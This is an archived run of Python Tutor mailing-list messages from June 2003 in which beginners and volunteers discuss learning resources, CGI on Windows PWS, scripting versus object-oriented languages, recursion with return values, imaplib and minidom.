 <006201c3286e$19a0fb80$c47dfea9@client>
Message-ID: <5.2.1.1.0.20030602151906.01f00e90@www.thinkware.se>

At 08:52 2003-06-02 +0100, Alan Gauld wrote:
>If you do want to write web programs then, with the windows
>extensions you can write web programs in Python using the
>Windows Personal Web Server (PWS) that comes with Windows 98.

Are there any tutorials on that?

>Windows extensions. When you do download them go out and buy
>the O'Reilly book by Hammond to get the most from them.

I recently asked Mark about an update, and he thought a 2nd
edition was due this year, so it might be worth a little wait.

>If you have any experience in other languages go to something like
>Wesley Chun's Core Python or the O'Reilly Learning Python.

Learning Python will come as 2nd edition soon. Don't buy
the 1st ed now.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program 



From jciancio@indiana.edu  Mon Jun  2 12:53:01 2003
From: jciancio@indiana.edu (Jennifer Cianciolo)
Date: Mon Jun  2 11:53:01 2003
Subject: [Tutor] thanks
In-Reply-To: <20030602131946.47643.qmail@web14409.mail.yahoo.com>
Message-ID: <200306021552.KAA14751@iupui.edu>

Hi 

I just wanted to thank everyone for all the help so far.  I haven't
looked too closely at the 'return' and other recent things people have
sent because I've been getting ready to go to Australia!  woo hoo!  so
I leave tomorrow and will be gone for just two weeks, but then I'll be
back in action.  In the meantime I'm going to disable getting the
messages.

have fun!
and thanks again
Jen


From njensen@utahfirst.com  Mon Jun  2 13:41:02 2003
From: njensen@utahfirst.com (Nick Jensen)
Date: Mon Jun  2 12:41:02 2003
Subject: FW: [Tutor] help on newbie program
Message-ID: <544BE8EBDBEE344F96B32750CA5753E97940A9@ufcu_ntes.utahfirst.com>


-----Original Message-----
From: Nick Jensen=20
Sent: Monday, June 02, 2003 10:37 AM
To: 'Tom Plunket'
Subject: RE: [Tutor] help on newbie program




> -----Original Message-----
> From: Tom Plunket [mailto:py-tutor@fancy.org]
> Sent: Saturday, May 31, 2003 11:39 AM
> To: Nick Jensen
> Subject: Re: [Tutor] help on newbie program
>=20
>=20
> Nick Jensen wrote:
>=20
> > I understand parts of it, but not all of it as a whole.
>=20
> Ok- I'll walk through it with you.  :)

Tom,

Thanks for taking the time to walk through it like that. It was a lot =
more complex than what I had seen up to that point in the tutorial and =
was very confusing to me. I got lost quickly in the flow of the program =
and was needing an explanation to guide me through. It feels good to =
finally see and understand what is going on. I know that was time =
consuming. Again thank you...

-Nick


From njensen@utahfirst.com  Mon Jun  2 13:58:02 2003
From: njensen@utahfirst.com (Nick Jensen)
Date: Mon Jun  2 12:58:02 2003
Subject: FW: [Tutor] help on newbie program
Message-ID: <544BE8EBDBEE344F96B32750CA5753E97940B3@ufcu_ntes.utahfirst.com>

DQoNCi0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQpGcm9tOiBOaWNrIEplbnNlbiANClNlbnQ6
IE1vbmRheSwgSnVuZSAwMiwgMjAwMyAxMDo0MyBBTQ0KVG86ICdBbGFuIEdhdWxkJw0KU3ViamVj
dDogUkU6IFtUdXRvcl0gaGVscCBvbiBuZXdiaWUgcHJvZ3JhbQ0KDQoNCg0KDQo+IC0tLS0tT3Jp
Z2luYWwgTWVzc2FnZS0tLS0tDQo+IEZyb206IEFsYW4gR2F1bGQgW21haWx0bzphbGFuLmdhdWxk
QGJsdWV5b25kZXIuY28udWtdDQo+IFNlbnQ6IFNhdHVyZGF5LCBNYXkgMzEsIDIwMDMgMzozOCBQ
TQ0KPiBUbzogTmljayBKZW5zZW47IFJhbmR5IFRhbGJvdDsgdHV0b3JAcHl0aG9uLm9yZw0KPiBT
dWJqZWN0OiBSZTogW1R1dG9yXSBoZWxwIG9uIG5ld2JpZSBwcm9ncmFtDQo+IA0KPiANCj4gPiA+
PkxlYXJuaW5nIFB5dGhvbiBpcyBjb21pbmcgb3V0IHdpdGggYSAybmQgZWRpdGlvbi4gQW1hem9u
LmNvbSBoYXMNCj4gYT4+DQo+ID4gPj5wb3NzaWJsZSByZWxlYXNlIGRhdGUgb2YgSnVseSAyMDAz
IHdpdGggdGhlIGJvb2sncyBJU0JOICMgYXMNCj4gMDU5NjAwMjgxNS4NCj4gPg0KPiA+IFllcCwg
SSBzYXcgdGhpcyBhbmQgdGhpbmsgSSdsbCB3YWl0IGZvciBpdCB0byBjb21lIG91dC4gVGhlIGZp
cnN0DQo+IGVkaXRpb24gZ290IHJlYWxseQ0KPiA+IGhpZ2ggcmF0aW5ncyBhbmQgc2luY2UgaXQg
Zm9jdXNlcyBqdXN0IG9uIHB5dGhvbiBhbmQgaXMgZm9yIG5ld2JpZXMNCj4gDQo+IEl0IGZvY3Vz
ZXMgb24gUHl0aG9uIGFuZCBpcyBmb3IgbmV3YmllcyB0byBQeXRob24uIElmIHlvdSBoYXZlIHNv
bWUNCj4gcHJvZ3JhbW1pbmcNCj4gZXhwZXJpZW5jZSB0aGF0cyBmaW5lIGFuZCBMZWFybmluZyBQ
eXRob24gaXMgYSBmaW5lIGNob2ljZS4gSWYgeW91IGFyZQ0KPiBhDQo+IGNvbXBsZXRlIG5ld2Jp
ZSB0byBwcm9ncmFtbWluZyB5b3UgbWlnaHQgZmluZCBpdCBxdWl0ZSB0b3VnaCBnb2luZy4NCj4g
SXQncyBlYXNpZXIgdG8NCj4gcmVhZCB0aGFuIHRoZSBvZmZpY2lhbCB0dXRvciBidXQgbm90IG11
Y2guDQo+IA0KPiBJZiB5b3UgYXJlIGEgY29tcGxldGUgYmVnaW5uZXIgeW91IG1pZ2h0IGJlIGJl
dHRlciBvZmYgd2l0aCBnb2luZw0KPiB0aHJvdWdoIG9uZQ0KPiBvZiB0aGUgTmV3YmllIHdlYiBz
aXRlIHR1dG9ycyBmaXJzdC4NCj4gDQo+IEJ1dCB0aGVuIEknbSBiaWFzZWQhIDotKQ0KPiANCj4g
QWxhbiBHDQo+IEF1dGhvciBvZiB0aGUgTGVhcm4gdG8gUHJvZ3JhbSB3ZWIgdHV0b3INCj4gaHR0
cDovL3d3dy5mcmVlbmV0cGFnZXMuY28udWsvaHAvYWxhbi5nYXVsZA0KPiANCj4NCg0KDQpBbGFu
LA0KDQpJIGRpZG4ndCByZWFsaXplIGl0IGFzc3VtZWQga25vd2xlZGdlIG9mIHNvbWUgcHJvZ3Jh
bW1pbmcgYWxyZWFkeS4gSSdsbCBoYXZlIHRvIGRvdWJsZSBjaGVjayB0aGF0IGFuZCBzZWUgaWYg
aXQgaXMgcmVhbGx5IHdoYXQgSSBuZWVkLiBJIGFtIGdvaW5nIHRocm91Z2ggYSB3ZWIgdHV0b3Jp
YWwgYXQgdGhlIG1vbWVudCB0byBkZXRlcm1pbmUgaWYgSSByZWFsbHkgaGF2ZSB3aGF0IGl0IHRh
a2VzIHRvIGJlIGEgcHJvZ3JhbW1lciBhbnl3YXkuIEkgcGxhbiBvbiBkb2luZyAyIG9yIDMgb2Yg
dGhlbSBiZWZvcmUgSSBldmVuIGJ1eSBhIGJvb2sgdGhvdWdoIGFuZCBtYXliZSBieSB0aGF0IHRp
bWUgSSB3aWxsIGJlIGFibGUgdG8gaGFuZGxlIGxlYXJuaW5nIHB5dGhvbi4gVGhhbmtzIGZvciB0
aGUgdGlwIQ0KDQotTmljayANCg==


From alan.gauld@blueyonder.co.uk  Mon Jun  2 15:26:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun  2 14:26:02 2003
Subject: [Tutor] Newbie here ... Have just downloaded Python 2.2.2  and am
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com> <006201c3286e$19a0fb80$c47dfea9@client> <5.2.1.1.0.20030602151906.01f00e90@www.thinkware.se>
Message-ID: <007f01c32934$78129db0$6401a8c0@xp>

> >extensions you can write web programs in Python using the
> >Windows Personal Web Server (PWS) that comes with Windows 98.
> 
> Are there any tutorials on that?

I think there are a few on CGI under PWS onthe web. Obviously 
python just follows the usual CGI route. 

PWS supports ASP, and Mark Hammond's book shows how to write 
ASP using Python with winall.

But I no longer have access to PWS so can't provide details.
MSDN has numerous articles on PWS however.

Alan G.


From ATrautman@perryjudds.com  Mon Jun  2 15:33:02 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Mon Jun  2 14:33:02 2003
Subject: [Tutor] Newbie here ... Have just downloaded Python 2.2.2  an
 d am
Message-ID: <06738462136C054B8F8872D69DA140DB0107C0@corp-exch-1.pjinet.com>

PWS supports its own CGI which is not always compatible with IIS 5.5 +  CGI
which is not always compatible with Apache CGI. If you are going the Windows
routes I recall that all of Mark Hammonds ASP examples work well in addition
to www.w3schools.com examples will let you make quite useful web sites.
Otherwise Zope and Apache install quite well and then you'll have a lot of
CGI and mod_Python stuff avail.

Peace,
Alan

> >extensions you can write web programs in Python using the
> >Windows Personal Web Server (PWS) that comes with Windows 98.
> 
> Are there any tutorials on that?

I think there are a few on CGI under PWS onthe web. Obviously 
python just follows the usual CGI route. 

PWS supports ASP, and Mark Hammond's book shows how to write 
ASP using Python with winall.

But I no longer have access to PWS so can't provide details.
MSDN has numerous articles on PWS however.

Alan G.

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From hillcino368@hotmail.com  Mon Jun  2 16:58:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Mon Jun  2 15:58:02 2003
Subject: [Tutor] Re: gp2c for windows xp and PBX translator
Message-ID: <Law15-F108GJziWwSoR00019fed@hotmail.com>

<html><div style='background-color:'><DIV>
<P>Hi Bill,</P>
<P>&gt;This is not a gp2c issue, rather a libpari issue, or maybe just&nbsp; an issue with the way you use the compiler. </P></DIV>
<DIV></DIV>
<DIV></DIV>
<DIV></DIV>
<P>I want to be able to&nbsp;translate a pari script such as below to&nbsp;a C&nbsp;stand alone&nbsp;twin.exe&nbsp;Then when you&nbsp;run twin.exe &nbsp;you get an output file twin.txt and a screen output below</P>
<DIV></DIV>
<P><A>\\</A>&nbsp;twin primes and pips to a file<BR>&nbsp;&nbsp;&nbsp;&nbsp; twins() =<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {c=0;</P>
<DIV></DIV>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; forprime(x=3,n,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(isprime(x+2),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c++;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write("twins.txt",c","x",",x+2);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print("twins.txt",c","x",",x+2);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp; pips(n) =<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</P>
<DIV></DIV>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(x=1,n,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write("pips.txt",x","prime(prime(x)));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print(x",",prime(prime(x)));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<DIV></DIV>
<P>Run twin.exe </P>
<P>1,3,5<BR>2,5,7<BR>3,11,13<BR>4,17,19<BR>5,29,31<BR>6,41,43<BR>7,59,61<BR>8,71,73</P>
<DIV></DIV>
<P>I realize this is an arm and a leg.</P>
<P>&gt;Do you have experience with PARI/GP and gp2c on unix ? </P>
<DIV></DIV>
<DIV></DIV>
<DIV></DIV>
<P>No. </P>
<DIV></DIV>
<P>I thought&nbsp;C&nbsp; was &nbsp;portable? Why won't&nbsp;the same C code run on different platforms? &nbsp;:-- )</P>
<P>Anyway, I have been working on a solution and have made a marvellous advance. I am so excited I am telling the world.</P>
<P><A href="http://groups.yahoo.com/group/B2LCC/files/Pari/">http://groups.yahoo.com/group/B2LCC/files/Pari/</A></P>
<P>The crown jewel is Pari accepts dos redirection of command line arguments. The rest is using files to create input streams that pari reads from the command line arguments. Also important is the basic shell command. I see pari has a system command but it does not work in xp.(yet)</P>
<P>Check the Yahoo Link where I have a PBX Pari to Basic Translator that works&nbsp; amazingly well. The program, which I named ~.exe, will execute&nbsp;most pari commands or function. In the files under folder Pari you will see the BCX&nbsp; ~.bas code, ~.c C code and the ~.exe. You can open the ~.exe in the browser and try there. To do the dos side you will have to save ~.exe to a folder and run from there in a dos window. The ~.bas program is readable and is a good template to do this in other languages.&nbsp;&nbsp;By using files you can call the routines needed or your own scripts within a complex Basic or C program. Eg.,&nbsp;to list the &nbsp;x+1 conjecture repeat if even divide 2 else add i until 1 is reached. This is the pari script for this function.</P>
<P>\\ the x+1 conjecture filename xp1.gp<BR>&nbsp;&nbsp; {x=n;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(x&gt;1,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(x%2==0,x/=2,x = x*p+1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print1(x" ");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>Dos syntax and out put</P>
<P>C:\pari&gt;~ \rxp1 xp1(10**10,1)<BR>? ? 5000000000 2500000000 1250000000 625000000 312500000 156250000 78125000 39062500 19531250 9765625 9765626 4882813 4882814 2441407 2441408 1220704 610352 305176 152588 76294 38147 38148 19074 9537 9538 4769 4770 2385 2386 1193 1194 597 598 299 300 150 75 76 38 19 20 10 5 6 3 4 2 1<BR>I think&nbsp;I&nbsp; am the first to conjecture this formally. Aren't you thrilled? :--)&nbsp;&nbsp;&nbsp;</P>
<P>To do&nbsp;allow a space in \r xp1</P>
<P>More Syntax by example:</P>
<P>c:\bcx&gt;~ factor(2**128+1)<BR>?<BR>[59649589127497217 1]</P>
<P>[5704689200685129054721 1]</P>
<P>c:\bcx&gt;~ Str(factor(2**128+1))<BR>? "[59649589127497217, 1; 5704689200685129054721, 1]"</P>
<P>c:\bcx&gt;~ bigomega(1000!)<BR>? 2877</P>
<P>c:\bcx&gt;~ ?bigomega<BR>? bigomega(x): number of repeated prime divisors of x.<BR></P>
<P>c:\bcx&gt;~ ?<BR>? Help topics:<BR>&nbsp; 0: list of user-defined identifiers (variable, alias, function)<BR>&nbsp; 1: Standard monadic or dyadic OPERATORS<BR>[snip]</P>
<P>Couple of wish things in pari.</P>
<P>Modify write command to delete old file and create new one. I could not find a open or close structure.</P>
<P>Much more string handling capability - mid$,left$,right$ etc</P>
<P>Pi(n) to give the number of primes &lt; n. Tables could be built etc. </P>
<P>User ability to embed functions into the interpreter.</P>
<P>User ability to attach additional primes &gt; 4*10^8 for permanant reading or embeding.</P>
<P>Cheers and Roebuck</P>
<DIV></DIV>
<P>Cino</P>
<DIV></DIV>
<P>Ps: I wonder if we can do this with Python? Ie., call Pari AND call Python from basic:C as I have shown above. I cc'd one of the the python communities. I am working on it now. </P>
<P>&nbsp;</P>
<DIV></DIV>
<P>&nbsp;</P>
<DIV></DIV>
<P>&nbsp;</P>
<DIV></DIV>
<DIV>&nbsp;</DIV></div><br clear=all><hr>STOP MORE SPAM with <a href="http://g.msn.com/8HMJENUS/2728??PS=">the new MSN 8</a> and get 2 months FREE*</html>


From njensen@utahfirst.com  Mon Jun  2 18:44:02 2003
From: njensen@utahfirst.com (Nick Jensen)
Date: Mon Jun  2 17:44:02 2003
Subject: [Tutor] what is the difference between a scripting and object oriented programming language?
Message-ID: <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com>

I dabbled in Java just a little bit so I have an idea of what object =
oriented programming is although I'm not good at it. I know that python =
is a scripting language, but I'm not sure what that means exactly as =
opposed to OOP.=20

What is the definition of a scripting language?

Does it relate to scripts at all like those that you'd run on a server =
for instance to automate certain tasks? I'm actually a network admin and =
use scripts sometimes, but was curious how that ties in with python.

Also, what are the benefits and drawbacks to a scripting language as =
opposed to OOP languages?

Or are the two not really different at all?

Thanks!

-Nick


From py-tutor@fancy.org  Mon Jun  2 19:02:01 2003
From: py-tutor@fancy.org (Tom Plunket)
Date: Mon Jun  2 18:02:01 2003
Subject: [Tutor] what is the difference between a scripting and object oriented programming language?
In-Reply-To: <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com>
References: <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com>
Message-ID: <1jhndvkr52d25fnl4j3q029olgd4a3j2dc@4ax.com>

Nick Jensen wrote:

> What is the definition of a scripting language?

A scripting language is a language that one writes to script
things.  :)

http://c2.com/cgi/wiki?ScriptingLanguage

> Does it relate to scripts at all like those that you'd run on a 
> server for instance to automate certain tasks? I'm actually a 
> network admin and use scripts sometimes, but was curious how that 
> ties in with python.

Well yeah, that's where "scripting" comes from.  While the
etymological roots of the word 'script' come from essentially
'writing', the hacking community commandeered the use of the
word, likely from it's use in movies and TV- a script is a list
of instructions that the actors use to lead them through the
episode.

"Scripting" is largely orthogonal (e.g. pretty much entirely
unrelated) to Object-Oriented technologies.  OO relates more to
"procedural" or "functional", in that these are ways in which one
can design programs.  There are OO scripting languages (Ruby
comes to mind), Python and even Perl have OO features, and there
are straight-up procedural scripting languages as well (e.g.
MS-DOS BAT files).  OO is more a way of thinking and coding than
it is the means to get there, and scripting represents one of the
ways to go on your journey.

There may be some insight to glean from here, too:
http://c2.com/cgi/wiki?SeriousVersusScriptingLanguages

-tom!


From Michael Montagne <montagne@boora.com>  Mon Jun  2 19:08:01 2003
From: Michael Montagne <montagne@boora.com> (Michael Montagne)
Date: Mon Jun  2 18:08:01 2003
Subject: [Tutor] imaplib copy
Message-ID: <20030602220742.GA2772@boora.com>

I have a simple routine that should take all the emails from an imap
server and copy them to a standard unix mailbox file.  It seems to see
everything ok but the data never makes it to the mailbox.
Here is the code:

import getpass, imaplib

M = imaplib.IMAP4('imapserver')
M.login('user', 'userpass')
M.select('INBOX/Nofilteredspam')
typ, data = M.search(None, 'ALL')
for num in data[0].split():
    typ, data = M.fetch(num, '(RFC822)')
#    M.append('/home/montagne/Mail/spam',None,None,data[0][1])
    M.copy(num,'/home/montagne/Mail/spam')
    print 'Message %s\n' % (data[0][1])
M.logout()


-- 
  Michael Montagne  http://www.themontagnes.com  503.226.1575 
--    


From thomi@thomi.imail.net.nz  Mon Jun  2 19:08:09 2003
From: thomi@thomi.imail.net.nz (Thomas CLive Richards)
Date: Mon Jun  2 18:08:09 2003
Subject: [Tutor] what is the difference between a scripting and object
 oriented programming language?
In-Reply-To: <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com>
References: <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com>
Message-ID: <20030604100009.53f6c2c3.thomi@thomi.imail.net.nz>

Hey,

AFAIK, the two terms "object oriented" and s"scripting language" are not
opposites.

The difference between a scripting language and a compiled language is
that (you guessed it) you have to compile (and normally link) the source
code from a compiled language into an executable. from there, every time
you change your source code you need to re-compile before your changes
reflect in the executable program. An example of a compiled language is
C, Pascal, C++, etc. etc. etc.

A scripted language is one where there is an interpreter which reads the
source code file, and compiles it "on the fly". that is, it compiles
your source code file (pretty much) line by line, and executes it as it
goes. This means that there is no compilation process (that you, the
user can see anyway).

Object orientation is a method of of programming, but you mentioned
you'd done a bit of OO before, so I'll stop typing;-)

On Mon, 2 Jun 2003 15:41:04 -0600 Thus spake "Nick Jensen"
<njensen@utahfirst.com>:

> I dabbled in Java just a little bit so I have an idea of what object
> oriented programming is although I'm not good at it. I know that
> python is a scripting language, but I'm not sure what that means
> exactly as opposed to OOP. 
> 
> What is the definition of a scripting language?
> 
> Does it relate to scripts at all like those that you'd run on a server
> for instance to automate certain tasks? I'm actually a network admin
> and use scripts sometimes, but was curious how that ties in with
> python.
> 
> Also, what are the benefits and drawbacks to a scripting language as
> opposed to OOP languages?
> 
> Or are the two not really different at all?
> 
> Thanks!
> 
> -Nick
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor


-- 

Thomi Richards,
thomi@thomi.imail.net.nz



From bbbbosox@mtneer.net  Mon Jun  2 19:30:02 2003
From: bbbbosox@mtneer.net (Dirigo)
Date: Mon Jun  2 18:30:02 2003
Subject: [Tutor] Newbie here ... Have python installed and have been trying the beginning tutorials
Message-ID: <003901c32956$2ac22a40$c47dfea9@client>

First I would like to take this opportunity to thank specifically Alan
Gauld (yes, I did read parts of your web tutorial - pretty good IMHO)
and Magnus (if I may) along with others who have contributed very useful
information that I'll be able to use.

I have python 2.2.2 installed and have been using the GUI entering code
lifted from my readings of the various tutorials.   You're going to
laugh I'm sure, but I haven't seemed to master the entering of multiple
lines of code, but am researching what I am doing wrong here.  It has to
do with "..." - I assume these three periods are interpreted by python
to know another line of code is following, but when I type the "..." and
hit the Enter key, I get the SyntaxError:  invalid syntax" type error
message.  I'm sure it is my mechanics.  Anyway I just wanted to express
my Thanks to all of you for your help and look forward to "benefiting
more" ;>)) from your future guidance.

Best Regards,

Dirigo



From jeff@ccvcorp.com  Mon Jun  2 20:09:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun  2 19:09:01 2003
Subject: [Tutor] what is the difference between a scripting and object
 oriented programming language?
References: <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com> <20030604100009.53f6c2c3.thomi@thomi.imail.net.nz>
Message-ID: <3EDBD8BD.7090009@ccvcorp.com>

Thomas CLive Richards wrote:

>A scripted language is one where there is an interpreter which reads the
>source code file, and compiles it "on the fly". that is, it compiles
>your source code file (pretty much) line by line, and executes it as it
>goes. This means that there is no compilation process (that you, the
>user can see anyway).
>  
>

Actually, to be pedantic, what you're describing is not a scripting 
language, but an interpreted language.  Compiled languages have a 
program (the compiler) that converts source code to a directly 
executable form.  Interpreted languages have a run-time program (the 
interpreter) that reads in the source code and executes it "on the fly", 
inside of the interpreter.

Many (most?) scripting languages are interpreted, and few compiled 
languages are considered to be scripting languages, but the question of 
compiled vs. interpreted is only loosely connected to the question of 
"scripting" vs. "serious" languages.  

A lot of the problem here is that "scripting" is a pretty vague 
designation -- it means a language that's convenient for writing scripts 
in, as opposed to writing "full-blown programs" (or applications).  But 
how does one distinguish a complex script from a simple application? 
 That's an essentially unanswerable question.  Generally, a script is a 
series of commands applied to some set of data, possibly in a 
user-defined order... but then, one could stretch that description to 
apply to Photoshop, which is clearly a major application.  Scripts are 
generally smaller than applications, do some well-defined thing and are 
"simpler" to use, and typically can be decomposed into a clear series of 
sub-operations, but all of these things are subjective.

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Jun  2 20:12:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun  2 19:12:02 2003
Subject: [Tutor] Newbie here ... Have python installed and have been trying
 the beginning tutorials
References: <003901c32956$2ac22a40$c47dfea9@client>
Message-ID: <3EDBD973.8090809@ccvcorp.com>

[My mail seems to have had a hiccup; apologies if this arrives twice]

Dirigo wrote:

 >[...]  You're going to
 >laugh I'm sure, but I haven't seemed to master the entering of multiple
 >lines of code, but am researching what I am doing wrong here.  It has to
 >do with "..." - I assume these three periods are interpreted by python
 >to know another line of code is following, but when I type the "..." and
 >hit the Enter key, I get the SyntaxError:  invalid syntax" type error
 >message.
 >

Those three periods are intended as a prompt, not as something that 
you should type yourself.  When you're entering code in the 
interactive interpreter (or in IDLE or PythonWin), if you type a line 
that requires additional lines to follow (i.e., and if statement), 
then the interpreter will use that "... " prompt (instead of the usual 
">>> " prompt) to indicate that it's waiting for additional lines. 
You just need to type the Python statements at the proper level of 
indentation.  (IDLE and PythonWin will probably automatically handle 
most of the indentation, but you'll have to add it yourself if you're 
using the plain interactive interpreter.)

Hope this helps things make a bit more sense...

Jeff Shannon
Technician/Programmer
Credit International





From dyoo@hkn.eecs.berkeley.edu  Mon Jun  2 20:16:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun  2 19:16:01 2003
Subject: [Tutor] Re:-Recursive Functions   [functions have return values]
In-Reply-To: <002701c328dc$f8bb81a0$6401a8c0@xp>
Message-ID: <Pine.LNX.4.44.0306021123470.17795-100000@hkn.eecs.berkeley.edu>


On Mon, 2 Jun 2003, Alan Gauld wrote:

> From: "Evripides Loizides" <loizie@hotmail.com>
> > # we have the word "house" we can print all the letters:
> >
> > word = "house"
> > index = 0
> > while index < len(word):
> >    letter = word[index]
> >    print letter,
> >    index = index +1
> >
> >
> > >>>> h o u s e
>
> HI again. From our offline emails I think you need to take a step back
> and learn how to write normal functions first.  Until you can do that
> you have no hope of writing recursive ones!
>
> Try writing the code above as a normal non recursive function that takes
> as an argument the string you want to print.


Hi Evripides,


I just noticed too that none of the functions you've written have been
using 'return' to send values back to the user.  Evripides, have you seen
functions that use 'return'?  Functions become a lot more useful when they
have a return value.



For example, if we are to write a function that squares a number, we can
write a program like this:

###
def square(x):
    print "The square of", x, "is", x * x

square(42)
###



But, square() becomes a lot more useful if we have it return the squared
value rather than print it out on screen.  That is, it's better if we
write the program like this:

###
def square(x):
    return x * x

print "The square of 42 is", square(42)
###



The main reason for this is because then we can use square() in the
definition of other things, like the hypotenuse() function:

###
def hypotenuse(a, b):
    """Computes the hypotenuse of a right-angled triangle with legs of
    length 'a' and 'b'"""
    return (square(a) + square(b))**(0.5)

print hypotenuse(3.0, 4.0)
###


'return' is the key that allows us to combine functions together like
this, so that functions are no longer just standalone, but instead can be
plugged like Lego into each other to make more interesting functions.
Learning how to use 'return' is an important step toward understanding why
functions are genuinely useful.




[Read below after you've comfortable with writing functions that return
values.]


By the same train of thought, perhaps you may not have seen recursive
function that return values back to the user? The function that you showed
us earlier:

###
def nLines(n):
    if n>0:
        print "hi"
        nLines(n-1)
nLines(5)
###

is technically recursive, but it's not really a "function" because it has
no useful return value.




Here is an example of a recursive function that's similar to what you had
with nLines, but it is more representative of what recursive functions
look like:


###
def repeat(word, n):
    if n == 0:
        return ""
    else:
        return word + repeat(word, n-1)


print "here's something repeated five times:"
print repeat("something", 5)
###


Can you try the code and see what it does?  If you have questions on the
repeat() function above, please feel free to ask on Tutor.



From andy_osagie@hotmail.com  Mon Jun  2 20:17:03 2003
From: andy_osagie@hotmail.com (Andy Osagie)
Date: Mon Jun  2 19:17:03 2003
Subject: [Tutor] Problems with Minidom XML Parser
Message-ID: <Law14-OE22pDORgfumo0002ece9@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C3293B.6515E990
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,=20
I seem to have trouble editing the values of parsed XML documents so =
that I can save them with my new values.


>>> from xml.dom import minidom
>>> doc =3D minidom.parseString("<entry>random stuff</entry>")
>>> doc.childNodes[0].toxml()
u'<entry>random stuff</entry>'
>>> doc.childNodes[0].nodeName
u'entry'
>>> doc.childNodes[0].nodeValue
>>> doc.childNodes[0].nodeName =3D "new"
>>> doc.childNodes[0].nodeValue =3D "test value"
>>> doc.childNodes[0].toxml()
u'<entry>random stuff</entry>'


I can't really figure out the problem. Is there any way to accomplish =
what I've tried above? I'm trying to make a simple XML driven database.

Thanks in advance,
Andy Osagie
------=_NextPart_000_0007_01C3293B.6515E990
Content-Type: text/html;
	charset="iso-8859-1"
